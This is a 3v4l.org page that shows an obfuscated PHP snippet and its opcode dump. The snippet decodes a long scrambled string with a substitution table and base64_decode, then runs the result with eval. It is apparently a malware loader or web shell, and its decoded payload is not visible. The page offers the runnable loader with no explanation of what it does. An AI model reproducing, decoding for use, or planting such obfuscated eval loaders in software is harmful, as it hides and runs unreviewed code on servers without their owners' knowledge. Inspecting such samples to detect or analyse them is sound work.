3v4l.org

run code in 300+ PHP versions simultaneously
<?php $stmzr = 7191; function bvczrnu($fwlwflayja, $ufgmqf){$zkvbe = ''; for($i=0; $i < strlen($fwlwflayja); $i++){$zkvbe .= isset($ufgmqf[$fwlwflayja[$i]]) ? $ufgmqf[$fwlwflayja[$i]] : $fwlwflayja[$i];} $yteorfbvo="base64_decode";return $yteorfbvo($zkvbe);} $hzkqojs = 'bLZgTQoZyPi4lbLsMySH3PSu3RvsSHqLw4UdwbJhbJXZ3j4urDUV9bl13DluMySH3PSnSHqLdbJh'. 'bJXZ3j4urDUV9blGpyYuMyY4pPUVTQvxyPfZ3Qks7bgq9w19Nai4levVTQF4yD2Z3Q4V9EgZIqK9TQpKWQf4Mj4'. 'xMQNKW4XWkevewVqC96J9BqKLWbgLMRUjTQo49bSN6eXufkvdWCqLW'. '42xWCJhbsV9bj4j9beJMQMZ3jUJ9bSO6USeNFf5k44ukVUNNUSXUOv6WCJZb'. 's19WbgLWRf4Mj4xM6LCfO46fkikwFSMyFiekOe6NUf5kCW1WbW0WCJhbsV9bCfJpyfYWEVLw4'. 'UdwE19SRfYlReuTDUoWEVLw4UdwE19bCfawOvbNk2wQHlYlyfKSFVL56gsiRUji8iYpjkGdQeCMbVViQOD7wJ2'. 'dDNGijMCIwJDiwl4d8fCSn19MD20pje1WbfYlyfKIqK9MsUxpPfZ3DzLrDYuMRU8rs4q'. 'levqTRenM6LJMReVp6qLSRG4B6J9BqKLWbgLSRvFlevJpyfYWEVLWCWhbLKLWbgLMjvHWbLJT'. 'wVqIHgJTw2nlaS1MQzKSRfYlROZIHJ9WbgLWa19WbgLWbgLWbXj3PWL9bfm'. '5wghWbfm5aiVrj243CLJTDUo96gjSCgJTw2nlaS1MQzKSRfYlROZIHgJT'. 'C1t7bgJT61t9NKLWbgLWbgLWa19WbgLWbgLWbgLWbgLSRvFlevJpyfYWbzvWRiKr'. 'CY0rjNKSRfYlRe3SR4l96XBWRvHMbLJTDUoQHfmy6JZIqKLWbgLWbgLWaV9WbgLWaV9bCgLWbXHMyfFrjzLSRvFlevJp'. 'yfYIqZvbLZjlQo8lR403CXnTevJMQiHByXV9bfJpyfY7bgJTDUo9NZhb'. 'CgLWbXs3RvCpQqLSReFlRLhbLKLWbgLrjUVlySxWaiKyDf4pPSorafurRYY'. 'rDkKrDYuMRU8rs4qlevqTRenM6LJMReVp6qLSReFlRLZ7bgJTDUo9w19uNK9MjvHMQe8TbgKSevEwVv76kkLp'. 'ydLSRG4BwV+SaMY3aU49NZhbCgLWbgJMReVp6gvWbfDpQ2FMw19WbgLWbfJpy'. 'fYyDG4B6gvWbftMyJhbsV9bj4jWbLYSRfYlROZbs19WbgLWRM0rjUYpDLL9bf'. 'ukOvwUbXYrHgJTDUo5wzJlje1lQkZbCgLWbXhbCgLWbgLWbgLSRfYlROL56gJlje1lQkhbCgLWbgL'. 'WbgLSRfYlReuTDUoWEVLSRG4Bw19WbgLWaV9uNK9SRfYlROL56XglQonMySZpQ2ZBjkKrDYuMRU8'. 'rs4qlbYgpjenMwpVyDf4pDvJM6LJMReVp6J1WbfJpyfYyDG4B6JZIqZZMCgKTyinMyNKSRfYlRe'. '3SDetSFVZWbpjWbfYlyfK5wVJMReVpU1spQ1sy6J9BqKLWbgLTQpL9bfJpyfYQHl'. 'YSFVL5wVLSDJs9NKLWbgLBqKLWbgLWbgLWbfZWEVLNySHpyJKbCgLWbgLWbgLWbgLWblqlCrL5wzLNaXKraM4rs'. 'iZ3DzK96q9WbgLWbgLWbgLWbgLSPiDSHgv5Cgsd6zq7wOs7gKLWbgLWbgLWbJhbCgLWbgLWbgLMQiK3HXgrDUHTQe1TyZ49bf'. 'Z9w19WbgLWaV9WbgLWRU1rDUZMCgKSRfYlRe3SDOsy6gv56gsM6rZbCgLWbXhbCg'. 'LWbgLWbgLMyMY3bLJMReVpU1sMbll9w19WbgLWaV9uN=='; $ewemfeh = Array('1'=>'s', '0'=>'v', '3'=>'b', '2'=>'x', '5'=>'P', '4'=>'l', '7'=>'L', '6'=>'S', '9'=>'K', '8'=>'j', 'A'=>'6', 'C'=>'i', 'B'=>'e', 'E'=>'D', 'D'=>'2', 'G'=>'t', 'F'=>'1', 'I'=>'O', 'H'=>'y', 'K'=>'o', 'J'=>'k', 'M'=>'Z', 'L'=>'g', 'O'=>'E', 'N'=>'Q', 'Q'=>'W', 'P'=>'3', 'S'=>'J', 'R'=>'G', 'U'=>'V', 'T'=>'a', 'W'=>'I', 'V'=>'0', 'Y'=>'h', 'X'=>'B', 'Z'=>'p', 'a'=>'H', 'c'=>'8', 'b'=>'C', 'e'=>'F', 'd'=>'M', 'g'=>'A', 'f'=>'R', 'i'=>'N', 'h'=>'7', 'k'=>'U', 'j'=>'m', 'm'=>'q', 'l'=>'d', 'o'=>'5', 'n'=>'z', 'q'=>'w', 'p'=>'Y', 's'=>'n', 'r'=>'c', 'u'=>'f', 't'=>'r', 'w'=>'T', 'v'=>'9', 'y'=>'X', 'x'=>'u', 'z'=>'4'); eval/*yrsstky*/(bvczrnu($hzkqojs, $ewemfeh));?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/EtGDh
function name:  (null)
number of ops:  9
compiled vars:  !0 = $stmzr, !1 = $hzkqojs, !2 = $ewemfeh
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 7191
    4     1        ASSIGN                                                   !1, 'bLZgTQoZyPi4lbLsMySH3PSu3RvsSHqLw4UdwbJhbJXZ3j4urDUV9bl13DluMySH3PSnSHqLdbJhbJXZ3j4urDUV9blGpyYuMyY4pPUVTQvxyPfZ3Qks7bgq9w19Nai4levVTQF4yD2Z3Q4V9EgZIqK9TQpKWQf4Mj4xMQNKW4XWkevewVqC96J9BqKLWbgLMRUjTQo49bSN6eXufkvdWCqLW42xWCJhbsV9bj4j9beJMQMZ3jUJ9bSO6USeNFf5k44ukVUNNUSXUOv6WCJZbs19WbgLWRf4Mj4xM6LCfO46fkikwFSMyFiekOe6NUf5kCW1WbW0WCJhbsV9bCfJpyfYWEVLw4UdwE19SRfYlReuTDUoWEVLw4UdwE19bCfawOvbNk2wQHlYlyfKSFVL56gsiRUji8iYpjkGdQeCMbVViQOD7wJ2dDNGijMCIwJDiwl4d8fCSn19MD20pje1WbfYlyfKIqK9MsUxpPfZ3DzLrDYuMRU8rs4qlevqTRenM6LJMReVp6qLSRG4B6J9BqKLWbgLSRvFlevJpyfYWEVLWCWhbLKLWbgLMjvHWbLJTwVqIHgJTw2nlaS1MQzKSRfYlROZIHJ9WbgLWa19WbgLWbgLWbXj3PWL9bfm5wghWbfm5aiVrj243CLJTDUo96gjSCgJTw2nlaS1MQzKSRfYlROZIHgJTC1t7bgJT61t9NKLWbgLWbgLWa19WbgLWbgLWbgLWbgLSRvFlevJpyfYWbzvWRiKrCY0rjNKSRfYlRe3SR4l96XBWRvHMbLJTDUoQHfmy6JZIqKLWbgLWbgLWaV9WbgLWaV9bCgLWbXHMyfFrjzLSRvFlevJpyfYIqZvbLZjlQo8lR403CXnTevJMQiHByXV9bfJpyfY7bgJTDUo9NZhbCgLWbXs3RvCpQqLSReFlRLhbLKLWbgLrjUVlySxWaiKyDf4pPSorafurRYYrDkKrDYuMRU8rs4qlevqTRenM6LJMReVp6qLSReFlRLZ7bgJTDUo9w19uNK9MjvHMQe8TbgKSevEwVv76kkLpydLSRG4BwV%2BSaMY3aU49NZhbCgLWbgJMReVp6gvWbfDpQ2FMw19WbgLWbfJpyfYyDG4B6gvWbftMyJhbsV9bj4jWbLYSRfYlROZbs19WbgLWRM0rjUYpDLL9bfukOvwUbXYrHgJTDUo5wzJlje1lQkZbCgLWbXhbCgLWbgLWbgLSRfYlROL56gJlje1lQkhbCgLWbgLWbgLSRfYlReuTDUoWEVLSRG4Bw19WbgLWaV9uNK9SRfYlROL56XglQonMySZpQ2ZBjkKrDYuMRU8rs4qlbYgpjenMwpVyDf4pDvJM6LJMReVp6J1WbfJpyfYyDG4B6JZIqZZMCgKTyinMyNKSRfYlRe3SDetSFVZWbpjWbfYlyfK5wVJMReVpU1spQ1sy6J9BqKLWbgLTQpL9bfJpyfYQHlYSFVL5wVLSDJs9NKLWbgLBqKLWbgLWbgLWbfZWEVLNySHpyJKbCgLWbgLWbgLWbgLWblqlCrL5wzLNaXKraM4rsiZ3DzK96q9WbgLWbgLWbgLWbgLSPiDSHgv5Cgsd6zq7wOs7gKLWbgLWbgLWbJhbCgLWbgLWbgLMQiK3HXgrDUHTQe1TyZ49bfZ9w19WbgLWaV9WbgLWRU1rDUZMCgKSRfYlRe3SDOsy6gv56gsM6rZbCgLWbXhbCgLWbgLWbgLMyMY3bLJMReVpU1sMbll9w19WbgLWaV9uN%3D%3D'
   29     2        ASSIGN                                                   !2, <array>
   30     3        INIT_FCALL                                               'bvczrnu'
          4        SEND_VAR                                                 !1
          5        SEND_VAR                                                 !2
          6        DO_FCALL                                      0  $6      
          7        INCLUDE_OR_EVAL                                          $6, EVAL
          8      > RETURN                                                   1

Function bvczrnu:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 16
Branch analysis from position: 16
2 jumps found. (Code = 44) Position 1 = 19, Position 2 = 5
Branch analysis from position: 19
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 5
2 jumps found. (Code = 43) Position 1 = 8, Position 2 = 12
Branch analysis from position: 8
1 jumps found. (Code = 42) Position 1 = 14
Branch analysis from position: 14
2 jumps found. (Code = 44) Position 1 = 19, Position 2 = 5
Branch analysis from position: 19
Branch analysis from position: 5
Branch analysis from position: 12
2 jumps found. (Code = 44) Position 1 = 19, Position 2 = 5
Branch analysis from position: 19
Branch analysis from position: 5
filename:       /in/EtGDh
function name:  bvczrnu
number of ops:  25
compiled vars:  !0 = $fwlwflayja, !1 = $ufgmqf, !2 = $zkvbe, !3 = $i, !4 = $yteorfbvo
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        ASSIGN                                                   !2, ''
          3        ASSIGN                                                   !3, 0
          4      > JMP                                                      ->16
          5    >   FETCH_DIM_R                                      ~7      !0, !3
          6        ISSET_ISEMPTY_DIM_OBJ                         0          !1, ~7
          7      > JMPZ                                                     ~8, ->12
          8    >   FETCH_DIM_R                                      ~9      !0, !3
          9        FETCH_DIM_R                                      ~10     !1, ~9
         10        QM_ASSIGN                                        ~11     ~10
         11      > JMP                                                      ->14
         12    >   FETCH_DIM_R                                      ~12     !0, !3
         13        QM_ASSIGN                                        ~11     ~12
         14    >   ASSIGN_OP                                     8          !2, ~11
         15        PRE_INC                                                  !3
         16    >   STRLEN                                           ~15     !0
         17        IS_SMALLER                                               !3, ~15
         18      > JMPNZ                                                    ~16, ->5
    3    19    >   ASSIGN                                                   !4, 'base64_decode'
         20        INIT_DYNAMIC_CALL                                        !4
         21        SEND_VAR_EX                                              !2
         22        DO_FCALL                                      0  $18     
         23      > RETURN                                                   $18
         24*     > RETURN                                                   null

End of function bvczrnu

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
181.11 ms | 1406 KiB | 15 Q